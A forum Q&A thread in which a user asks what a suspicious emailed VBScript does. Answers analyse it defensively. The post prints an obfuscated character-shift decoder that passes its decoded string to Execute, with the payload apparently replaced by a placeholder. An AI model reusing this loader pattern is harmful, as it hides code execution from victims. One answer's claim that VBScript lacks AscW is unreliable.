vbs file through email

-5

1

I have this vbs file. Someone send it to me via email. Can anyone tell me what does this file do ?

dim M
M = "Chinese names"
S = ""
Dim N
n = 0
dim NN
NN = "ede"
do until n = Len(M)
n = n + 1
S = S & Chr(AscW(Mid(M, N, 1)) - &H9000 + len(NN))
loop
Execute S

Amer

Posted 2016-04-12T13:20:28.930

Reputation: 9

Question was closed 2016-04-13T23:05:55.383

Answers

1

First Advice :

When you get some unknown vbscript files like this, the first thing is don't ever execute it until you understand what this file can execute.

Second Advice :

If you really want to show what it execute, just, edit it with Notepad or Notepad++ and find this word Execute and replace it by MsgBox to get what this script can do !

I correct the error and i added a function to write the code into a text file and you get some chinese character (unicode) like this one :

灆火灬灱灨灶灨瀣灱灤灰灨灶

'************************************Added by Hackoo************************************
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("WScript.Shell")
LogFile = Left(Wscript.ScriptFullName, InstrRev(Wscript.ScriptFullName, ".")) & "txt"
If fso.FileExists(LogFile) Then
    fso.DeleteFile(LogFile)
End If
'****************************************************************************************
dim M
M = "Chinese names"
S = ""
Dim N
n = 0
dim NN
NN = "ede"
do until n = Len(M)
n = n + 1
S = S & ChrW(AscW(Mid(M, N, 1)) - &H9000 + len(NN))
loop
'Just to popup a msgbox to show the chinese character in unicode instead of using Execute
Msgbox S
'Write the contents of the variable S into a text file
Call WriteLog(S,LogFile)
'To open the LogFile with notepad
ws.run LogFile
'************************************Added by Hackoo************************************
'Function to write into text file with unicode
Sub WriteLog(strText,LogFile)
    Dim fso,ts 
    Const ForAppending = 8
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set ts = fso.OpenTextFile(LogFile,ForAppending,True,-1)
    ts.WriteLine strText
    ts.Close
End Sub
'*****************************************************************************************

Hackoo

Posted 2016-04-12T13:20:28.930

Reputation: 589

0

I'm not convinced it actually does anything, but it's intention certainly looks dodgy. It builds up a string 14 characters long containing what looks like is intended to contain binary characters and then finally executes that string. What this then does I have no idea, but it's not something I'd try on my own machine.

However I think it has errors. My VBS skills are rather old and definitely not current but I don't think there is an AscW function - Asc yes, but in VBS this would be a Wide character function anyway.

If a friend has sent it to you, I would consider it a poor attempt at humour.

simon at rcl

Posted 2016-04-12T13:20:28.930

Reputation: 211

Thank you for your replay; this file send it to me from someone i don't know , i know that it's not doing something good , but i just want to know what it does,anyway thank you very much . – Amer – 2016-04-13T07:28:34.067